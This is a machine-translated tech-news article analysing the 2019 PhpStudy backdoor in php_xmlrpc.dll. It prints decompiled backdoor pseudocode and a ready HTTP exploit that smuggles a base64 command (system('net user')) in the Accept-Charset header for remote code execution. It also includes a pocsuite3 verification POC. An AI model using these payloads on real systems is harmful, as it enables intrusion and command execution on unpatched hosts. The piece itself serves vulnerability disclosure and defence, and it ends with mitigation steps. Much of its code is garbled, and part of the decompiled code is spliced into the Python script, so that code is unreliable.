In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article mainly introduces the direction of PhpStudy BackDoor2019 loopholes, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to understand it.
Background analysis
On September 20, 2019, the Hangzhou Public Security Bureau held a press conference to announce the results of a special campaign to crack down on network-related crimes and "net 2019" since the beginning of this year. It was mentioned in the report that the domestic famous PHP debugging environment program integration package Phpstudy software was attacked by a domestic hacker gang led by Ma and was implanted into the back door. The Phpstudy integrated environment package has more than 1 million users in China. It is reported that the backdoor attack can be traced back to 2016, with Yili controlling a total of more than 670000 computers. The hacker group further carried out illegal acts through the user information and various system account information obtained through the backdoor, making a cumulative illegal profit of more than 6 million yuan.
Affect the version
PhpStudy20180211 version php5.4.45 and php_xmlrpc.dll under the php5.2.17ext extension folder
PhpStudy20161103 version php5.4.45 and php_xmlrpc.dll under the php5.2.17ext extension folder
Environmental preparation
The test environment takes "phpStudy20161103 version php5.4.45" as an example to analyze.
Ps: the old version of the program has been updated officially, and you can download https://www.xp.cn by yourself.
The first is the current official normal configuration file, and the second is the configuration file that has been implanted into the backdoor. From the picture, you can see that the sizes of the two files are not the same! Check them with Hash respectively:
MD5 (php_xmlrpc.dll): c339482fd2b233fb0a555b629c0ea5d5
MD5 (php_xmlrpctrue.dll): 6ddb8f2af4b2b24671ddcd82d7c08c91
Through the Hash check, it is found that the Hash values of the two files are different!
Lab: phpStudy backdoor loophole recurrence experiment: phpStudy backdoor loophole recurrence (Hetian Network Security Lab)
Back door analysis
At present, major manufacturers have added this backdoor to the threat intelligence database, which can be viewed here through virustotal and velvet.
From the picture above, we can see that there is a threat to the original php_xmlrpc.dll, and then start an in-depth analysis of "php_xmlrpc.dll".
Check through IDA to find that the officially updated "php_xmlrpc.dll" file no longer has a dangerous function "sub_100031F0". The following is a formal analysis of the "php_xmlrpc.dll" implanted into the backdoor.
First, open "php_xmlrpc.dll" with IDA, and shift+f12 locates whether there is a dangerous string
The dangerous function eval () is found through the index.
Locate the corresponding code segment according to the eval () function and then reverse compile the pseudo code to find the backdoor danger function "sub_100031F0".
"sub_100031F0" program code
{int v3; / edx int v4; / / eax int v5; / / ecx int v6; / / eax int v7; / / esi char * v8; / / edi char * v9; / / ecx int v10; / / eax char * v11; / / esi int v12; / / eax char * v13; / / edi char * v14; / / ecx _ DWORD * v15; / / esi int v16; / / eax void * v17; / / edx int v18; / / eax void * v19 / / edi _ DWORD * v20; / / esi int result; / / eax int v22; / / eax int v23; / / ecx int v24; / / eax int v25; / / edi _ DWORD * v26; / / esi char v27; / / [esp+Dh] [ebp-19Bh] _ int16 v28; / / [esp+BDh] [ebp-EBh] char v29; / / [esp+BFh] [ebp-E9h] char v30; / / [esp+C0h] [ebp-E8h] char v31 / / [esp+100h] [ebp-A8h] char v32; / / [esp+140h] [ebp-68h] char v33; / / [esp+180h] [ebp-28h] const char * v34; / / [esp+184h] [ebp-24h] int v35; / / [esp+188h] [ebp-20h] int v36; / / [esp+18Ch] [ebp-1Ch] int * * v37; / / [esp+190h] [ebp-18h] int v38 / / [esp+194h] [ebp-14h] _ DWORD * * v39; / / [esp+198h] [ebp-10h] void * v40; / / [esp+19Ch] [ebp-Ch] char * v41; / / [esp+1A0h] [ebp-8h] char * v42; / / [esp+1A4h] [ebp-4h] memset (& v27,0, 0xB0u); v28 = 0; v3 = * A3; v29 = 0 If (* (_ BYTE *) (* (_ DWORD *) (v3 + 4 * core_globals_id-4) + 210) zend_is_auto_global (aServer, 7, A3); zend_hash_find (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 216,aServer, 8, & v33) If (zend_hash_find (* _ DWORD *) (* A3 + 4 * executor_globals_id-4) + 216,aServer, strlen (aServer) + 1, & v39)! =-1 & zend_hash_find (* * v39, aHttpAcceptEnco, strlen (aHttpAcceptEnco) + 1, & v34)! =-1) {if (! strcmp (* * v34, aGzipDeflate)) {if (zend_hash_find (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4)) + 216, aServer Strlen (aServer) + 1, & v39)! =-1 & & zend_hash_find (* * v39, aHttpAcceptChar, strlen (aHttpAcceptChar) + 1, & v37)! =-1) {v40 = sub_100040B0 (* * v37, strlen ((const char *) * * v37)) If (v40) {v4 = * (_ DWORD *) (* A3 + 4 * executor_globals_id-4); v5 = * (_ DWORD *) (v4 + 296); * (_ DWORD *) (v4 + 296) = & ampv30; v35 = v5; v6 = setjmp3 (& v30,0); v7 = v35; if (V6) * (DWORD *) (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 296) = v35 Else zend_eval_string (v40, 0, & byte_10012884, a3); * (_ DWORD *) (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 296) = v7;} else {v12 = strcmp (* * v34, aCompressGzip); if (! v12) {v13 = & byte_10012884; v14 = (char *) & unk_1000D66C; v42 = & byte_10012884; v15 = & unk_1000D66C While (1) {if (* v15 = = 39) {v13 [v12] = 92; v42 [v12 + 1] = * v14; v12 + = 2; v15 + = 2;} else {v13 [v12 +] = * v14; + + v15;} v14 + = 4; if ((signed int) v14 > = (signed int) & unk_1000E5**) break; v13 = v42;} spprintf (& v36, 0, aVSMS, byte_100127B8, Dest); spprintf (& v42, 0, aSEvalSS, v36, aGzuncompress, v42) V16 = * (_ DWORD *) (* A3 + 4 * executor_globals_id-4); v17 = * (void * *) (v16 + 296); * (_ DWORD *) (v16 + 296) = & ampv32; v40 = v17; v18 = setjmp3 (& v32,0); v19 = v40; if (v18) {v20 = A3; * (_ DWORD *) (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 296) = v40;} else {v20 = A3) Zend_eval_string (v42,0, & byte_10012884, a3);} result = 0; * (_ DWORD *) (* (_ DWORD *) (* V20 + 4 * executor_globals_id-4) + 296) = v19; return result;} if (dword_10012AB0-dword_10012AA0 > = dword_1000D010 & dword_10012AB0-dword_10012AA0)
< 6000 ) { if ( strlen(byte_100127B8) == 0 ) sub_10004480(byte_100127B8); if ( strlen(Dest) == 0 ) sub_10004380(Dest); if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &byte_10012884; v9 = asc_1000D028; v41 = &byte_10012884; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int) & unk_1000D66C) break; v8 = v41;} spprintf (& v41,0, aEvalSS, aGzuncompress, v41); v22 = * (_ DWORD *) (* A3 + 4 * executor_globals_id-4); v23 = * (_ DWORD *) (v22 + 296); * (_ DWORD *) (v22 + 296) = & ampv31; v38 = v23; v24 = setjmp3 (& v31,0); v25 = v38; if (v24) {v26 = A3 * (_ DWORD *) (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 296) = v38;} else {v26 = A3; zend_eval_string (v41,0, & byte_10012884, a3);} * (_ DWORD *) (* (_ DWORD *) (* v26 + 4 * executor_globals_id-4) + 296) = v25; if (dword_1000D010)
< 3600 ) dword_1000D010 += 3600; ftime(&dword_10012AA0); } ftime(&dword_10012AB0); if ( dword_10012AA0 < 0 ) ftime(&dword_10012AA0); return 0;} 首先分析spprintf()函数代码处功能,因为其对eval()函数进行了处理 spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); spprintf函数是php官方自己封装的函数,此处实际上实现的是字符串拼接功能,实际代码如下: @eval(%s(',27h,'%s',27h,'));@eval(gzuncompress(',27h,'v42′,27h,')); @eval(gzuncompress(',27h,'v41′,27h,')); ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参 可以看到上述代码主要对v41、v42数据进行解压执行操控,可以初步猜想恶意代码存在于v41和v42数据中,同理按照思路流程向上去找v41、v42数据内容, 对v41的处理代码 if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &byte_10012884; v9 = asc_1000D028; v41 = &byte_10012884; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int) & unk_1000D66C) break; v8 = v41;}
Processing code for v42
If (! v12) {v13 = & byte_10012884; v14 = (char *) & unk_1000D66C; v42 = & unk_1000D66C; while (1) {if (* v15 = = 39) {v13 [v12] = 92; v42 [v12 + 1] = * v14; v12 + = 2; v15 + = 2;} else {v13 [v12 +] = * v14; + + v15;} v14 + = 4; if ((signed int) v14 > = (signed int) & unk_1000E5**) break; v13 = v42;
The analysis code shows that the v41 data content is the data within the range of 1000D028-1000D66C (base address is 10000000), and the v42 data content is the data within the range of 1000D66Cmur1000E5data * (base address 10000000). It is found that they are all located in .data blocks when viewed with 010edit.
Since .data takes up 4 bytes for each value of dword type, convert it to char type for storage at the code, and then decompress it using the php built-in function gzuncompress
Extract and decompress two pieces of data using the decryption script published by the Micro-step Intelligence Agency.
#-*-coding:utf-8-*-#! / usr/bin/env python import os, sys, string, shutil, re import base64 import struct import pefile import ctypes import zlib # import put_family_c2 def hexdump (src, length=16): FILTER = '.join ([(len (repr (chr (x) = = 3) and chr (x) or'. For x in range]) lines = [] for c in xrange (0, len (src), length): chars = src [CMV c + length] hex = '.join (["x"% ord (x) for x in chars]) printable =' .join (["% s"% (ord (x) = (signed int) & unk_1000E5**) break; v13 = v42;} spprintf (& v36,0, aVSMS, byte_100127B8, Dest) Spprintf (& v42,0, aSEvalSS, v36, aGzuncompress, v42); v16 = * (_ DWORD *) (* A3 + 4 * executor_globals_id-4); v17 = * (void *) (v16 + 296)
To analyze the code logic, you first want to execute
Spprintf (& v42,0, aSEvalSS, v36, aGzuncompress, v42)
If (! V12) must be met
V12 = strcmp (* * v34, aCompressGzip); if (! v12)
Locate aCompressGzip, as long as ACCEPT_ENCODING equals compress,gzip, you can start v42 malicious code
Construct the corresponding Payload:
GET / HTTP/1.1Host: x.x.x.x... .. Accept-Encoding:compress,gzip... .
Ps: due to the failure of C2 server, follow-up operation will not be carried out.
Analyze forward connection RCE
The upward analysis is based on the C2 back door.
Core code
If (zend_hash_find (* _ DWORD *) (* A3 + 4 * executor_globals_id-4) + 216,aServer, strlen (aServer) + 1, & v39)! =-1 & zend_hash_find (* * v39, aHttpAcceptEnco, strlen (aHttpAcceptEnco) + 1, & v34)! =-1) {if (! strcmp (* * v34, aGzipDeflate)) {if (zend_hash_find (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4)) + 216, aServer Strlen (aServer) + 1, & v39)! =-1 & & zend_hash_find (* * v39, aHttpAcceptChar, strlen (aHttpAcceptChar) + 1, & v37)! =-1) {v40 = sub_100040B0 (* * v37, strlen ((const char *) * * v37)) If (v40) {v4 = * (_ DWORD *) (* A3 + 4 * executor_globals_id-4); v5 = * (_ DWORD *) (v4 + 296); * (_ DWORD *) (v4 + 296) = & ampv30; v35 = v5; v6 = setjmp3 (& v30,0); v7 = v35; if (V6) * (DWORD *) (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 296) = v35 Else zend_eval_string (v40,0, & byte_10012884, A3); * (_ DWORD *) (* (_ DWORD *) (* A3 + 4 * executor_globals_id-4) + 296) = v7;}
Analyze code logic
The first if () determines whether the HTTP_ACCEPT_ENCODING field exists, and $_ SERVER ['HTTP_ACCEPT_ENCODING'] is the content of the currently requested Accept-Encoding: header information.
The second if (), based on the first if (), determines whether the $_ SERVER ['HTTP_ACCEPT_ENCODING'] field value is gzip,deflate.
The third if (), based on the first two if (), determines whether there is a HTTP_ACCEPT_CHARSET field, and $_ SERVER ['HTTP_ACCEPT_CHARSET'] is the content of the currently requested Accept-Charset: header information.
Finally, based on the first three if (), the value of the HTTP_ACCEPT_CHARSET field is extracted and decoded by base64, and then zend_eval_string (v40 byte_10012884 0, & byte_10012884, A3) is called; RCE is executed.
Construct the corresponding Payload:
GET / HTTP/1.1Host: x.x.x.x... .. Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==... .
EXP utilization
Back door RCE
Exp construction
GET / phpinfo.php HTTP/1.1Host: 192.168.43.146User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en Q=0.2Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==Connection: closeUpgrade-Insecure-Requests: 1
Exp utilization
The value of Accept-Charset request header field needs to be encoded by base64
C3lzdGVtKCJuZXQgdXNlciIpOwband = system ("net user")
POC construction
Back door RCE
POC verification
The POC code is written using Chuangyu's pocsuite3 framework. Here I put my original POC, which only contains the vulnerability verification module, because I have deleted the attack module (security first! )
Import base64import hashlibimport randomimport urllibfrom urllib.parse import urljoin, quotefrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip Get_listener_portfrom pocsuite3.api import requestsfrom pocsuite3.lib.core.data import loggerfrom pocsuite3.lib.utils import get_middle_text class DemoPOC (POCBase): vulID = '93212' # ssvid version = '1.0' author = [' Qftm'] vulDate = '2019-09-23' createDate =' 2019-09-23' updateDate = '2019-09-23' references = [' https://www.seebug.org/vuldb/ssvid-93212'] name = 'phpstudy backdoor' appPowerLink =' http://www' .finecms.net/show-1.html 'appName =' phpstudy' appVersion = 'version = 2018 | 2016' vulType = 'backdoor' desc =' 'Phpstudy Backdoor RCE''' samples = [] install_requires = [''] category = POC_CATEGORY.EXPLOITS.WEBAPP def _ verify (self): result = {} try: vul_url = urljoin (self.url) '/') rand_num = random.randint (0, 1000) hash_flag = hashlib.md5 (str (rand_num). Encode ()) .hexdigest () print (vul_url) prexp =''echo' {}' '.format (hash_flag) exp = base64.b64encode (prexp.encode ()) .decode () headers = {'Accept-Encoding':' gzip,deflate', 'Accept-Charset':' {} '.format (exp)} r = requests.post (vul_url) Headers=headers) if r.status_code! = 404: if hash_flag in r.text: print (r.headers.get ("Location")) result ['VerifyInfo'] = {} result [' VerifyInfo'] ['URL'] = self.url except Exception as ex: logger.exception (ex) return self.parse_output (result) def _ attack (self): result = {} return self.parse_output (result) def parse_output (self Result): output = Output (self) if result: output.success (result) else: output.fail ('target is not vulnerable') return output register_poc (DemoPOC)
The vulnerability verification mechanism uses the MD5 value (hash_flag) generated by random numbers for verification. It first determines whether the web page is 404 to improve the hit rate, and then compares whether it contains the corresponding hash_flag according to the content returned by the web page. If so, it proves that there is a backdoor RCE, otherwise it does not exist.
Verification effect
Loophole prevention
1. Internal inspection to confirm the PC host of the affected Phpstudy environment, conduct security scanning (velvet, 360security guards, etc.), and remove possible suspicious procedures.
2. Audit the login log of the user account information on the PC host in the affected Phpstudy environment, and change the relevant account password in time, so as to prevent the account password from leaking and causing harm.
3. Go to the official website to download updates and verify hash.
Thank you for reading this article carefully. I hope the article "the Direction of loopholes in PhpStudy BackDoor2019" shared by the editor will be helpful to you. At the same time, I also hope that you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.